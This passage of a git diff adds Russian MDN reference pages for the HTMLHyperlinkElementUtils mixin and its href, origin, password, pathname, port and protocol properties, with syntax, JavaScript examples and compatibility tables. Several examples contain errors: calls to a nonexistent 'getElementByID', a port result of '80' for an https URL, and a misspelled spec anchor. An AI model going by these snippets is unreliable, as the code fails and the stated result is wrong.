+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.href</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий URL целиком.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.href;
+<em>object<code>.href = </code></em><code><em>string</em>;</code>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Вернет: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/index.html b/files/ru/web/api/htmlhyperlinkelementutils/index.html
new file mode 100644
index 0000000000..2abe580d83
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/index.html
@@ -0,0 +1,178 @@
+---
+title: HTMLHyperlinkElementUtils
+slug: Web/API/HTMLHyperlinkElementUtils
+tags:
+  - API
+  - Experimental
+  - Mixin
+  - NeedsTranslation
+  - TopicStub
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils
+---
+<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>HTMLHyperlinkElementUtils</code></strong> mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.</p>
+
+<p>There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.href")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the whole URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.protocol")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.host")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the host, that is the <em>hostname</em>, and then, if the <em>port</em> of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.hostname")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.port")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.pathname")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.search")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.hash")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.username")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.password")}}</dt>
+ <dd>Is a {{domxref("USVString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("USVString")}} containing the origin of the URL, that is its scheme, its domain and its port.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface doesn't inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHyperlinkElementUtils.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>username</code> and <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin </code></td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>username</code> and <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin </code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Though not grouped in a single abstract interface, these methods are directly available on the interfaces that implement it, if this interface is supported.</p>
+
+<p>[2] This mixin was called <code>URLUtils</code> before Firefox 45, and was also implemented to other by other interfaces, like {{domxref("Location")}}. From Firefox 45, the other interfaces implements their own version of the properties and methods they need.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}
+  <dl><br>
+   <dd> </dd>
+  </dl>
+ </li>
+</ul>
+
+<dl>
+ <dd> </dd>
+</dl>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html b/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html
new file mode 100644
index 0000000000..b0e6b46e2e
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/origin/index.html
@@ -0,0 +1,116 @@
+---
+title: HTMLHyperlinkElementUtils.origin
+slug: Web/API/HTMLHyperlinkElementUtils/origin
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - Read-only
+  - Reference
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/origin
+---
+<p>{{APIRef("URL API")}}</p>
+
+<p>Свойство только для чтения <strong><code>HTMLHyperlinkElementUtils.origin</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий сериализованные в Unicode протокол, хост и порт, а именно:</p>
+
+<ul>
+ <li>для URL, начинающегося с <code>http</code> или <code>https</code>, <span class="st">–</span> протокол, <code>'://'</code>, домен, <code>':'</code>, порт (порт по умолчанию, <code>80</code> и <code>443</code> соответственно, если указаны явно);</li>
+ <li>для URL, начинающегося с <code>file:</code>, <span class="st">–</span> значение зависит от браузера;</li>
+ <li>для URL, начинающегося с <code>blob:</code>, <span class="st">–</span> основа URL следующего за <code>blob:</code>. Т.е. для <code>"blob:https://mozilla.org"</code> будет <code>"https://mozilla.org".</code></li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.origin;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// На этой странице
+var result = window.location.origin; // Вернет: 'https://developer.mozilla.org'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}<sup> [2][3]</sup></td>
+   <td>{{CompatNo}} [1]</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{CompatNo}}</span> [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("26.0")}}<sup> [2][3</sup>]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 26 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<p>[3] До Gecko 49, для URL, начинающихся с <code>blob,</code> ошибочно возвращался <code>null</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/password/index.html b/files/ru/web/api/htmlhyperlinkelementutils/password/index.html
new file mode 100644
index 0000000000..668749a367
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/password/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.password
+slug: Web/API/HTMLHyperlinkElementUtils/password
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/password
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.password</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий пароль, указанный перед именем домена.</p>
+
+<p><code>password</code> игнорируется без предупреждения, если свойство <code><a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/username">username</a></code> не установлено.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.password;
+<em>object</em>.password = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.password; // Вернет: 'flabada'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] С Gecko 26 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html
new file mode 100644
index 0000000000..9f6fb68608
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/pathname/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.pathname
+slug: Web/API/HTMLHyperlinkElementUtils/pathname
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/pathname
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.pathname</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий первый <code>'/'</code> после хоста с последующим текстом URL.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.pathname;
+<em>object</em>.pathname = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.pathname; // Вернет: '/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/port/index.html b/files/ru/web/api/htmlhyperlinkelementutils/port/index.html
new file mode 100644
index 0000000000..2ab4461fc4
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/port/index.html
@@ -0,0 +1,108 @@
+---
+title: HTMLHyperlinkElementUtils.port
+slug: Web/API/HTMLHyperlinkElementUtils/port
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/port
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.port</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий номер порта.</p>
+
+<p>При значении <code>'' будет использоваться</code> порт по умолчанию для указанного протокола (не <code>0</code>).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.port;
+<em>object</em>.port = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.port"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.port; // Вернет: '80'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-port', 'HTMLHyperlinkElementUtils.port')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html b/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html
new file mode 100644
index 0000000000..d7b3b4327f
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/protocol/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.protocol
+slug: Web/API/HTMLHyperlinkElementUtils/protocol
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/protocol
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.protocol</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий протокол URL включая <code>':'</code> в конце.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.protocol;
+<em>object</em>.protocol = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.protocol"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.protocol; // Вернет: 'https:'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-protocol', 'HTMLHyperlinkElementUtils.protocol')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/search/index.html b/files/ru/web/api/htmlhyperlinkelementutils/search/index.html
new file mode 100644
index 0000000000..7c23ed4fc8
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/search/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.search
+slug: Web/API/HTMLHyperlinkElementUtils/search
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/search
+---
+<p>{{ApiRef("URL API")}}</p>
+
